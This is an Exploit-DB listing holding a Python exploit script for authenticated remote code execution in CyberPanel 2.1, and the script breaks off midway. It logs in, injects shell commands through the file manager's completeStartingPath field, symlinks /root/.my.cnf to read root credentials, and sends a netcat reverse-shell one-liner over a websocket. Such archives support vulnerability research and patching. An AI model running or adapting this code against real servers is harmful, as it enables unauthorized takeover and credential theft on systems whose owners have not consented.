Exploit-DB #50230
Description: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-08-27
Author: numan türle

Exploit:
# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: <=2.1
# https://www.youtube.com/watch?v=J_8iLELVgkE


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# CyberPanel - Remote Code Execution (Authenticated)
# author: twitter.com/numanturle
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password


import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    parser.add_argument('-f', '--file',help='File', type=str)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    def on_open(ws):
        verifyPath,socket_password
        print("[+] Socket connection successful")
        print("[+] Trying a reverse connection")
        ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))
        ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))
        ws.close()

    def on_close(ws, close_status_code, close_msg):
        print("[+] Successful")
        print("[!] Disconnect from socket")


    session = requests.Session()
    target = "https://{}:8090".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    response = session.get(target, verify=False)
    session_hand = session.cookies.get_dict()
    token = session_hand["csrftoken"]

    print("[+] Token {}".format(token))

    headers = {
        'X-Csrftoken': token,
        'Cookie': 'csrftoken={}'.format(token),
        'Referer': target
    }

    login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})
    login_json = json.loads(login.content)

    if login_json["loginStatus"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login Success")
        print("[+] Send request fetch websites list")

        headers = {
            'X-Csrftoken': session_hand_login["csrftoken"],
            'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
            'Referer': target
        }

        feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})
        feth_weblist_json = json.loads(feth_weblist.content)

        if feth_weblist_json["data"]:

            weblist_json = json.loads(feth_weblist_json["data"])
            domain = weblist_json[0]["domain"]
            domain_folder = "/home/{}".format(domain)

            print("[+] Successfully {} selected".format(domain))
            print("[+] Creating ssh pub")

            remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})
            create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
            create_ssh_json = json.loads(create_ssh.content)

            if create_ssh_json["status"]:
                key = create_ssh_json["deploymentKey"]

                print("[+] Key : {}".format(key))

                explode_key = key.split()
                explode_username = explode_key[-1].split("@")

                if explode_username[0]:
                    username = explode_username[0]
                    hostname = explode_username[1]

                    print("[+] {} username selected".format(username))
                    print("[+] Preparing for symlink attack")
                    print("[+] Attempting symlink attack with user-level command execution vulnerability #1")

                    target_file = args.file
                    if not target_file:
                        target_file = "/root/.my.cnf"
                    domain_folder_ssh = "{}/.ssh".format(domain_folder)
                    command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)
                    completeStartingPath = "{}';{};'".format(domain_folder,command)

                    #filemanager/controller - completeStartingPath - command execution vulnerability

                    symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                    symlink_json = json.loads(symlink.content)
                    
                    if symlink_json["status"]:
                        print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))

                        read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
                        read_file_json = json.loads(read_file.content)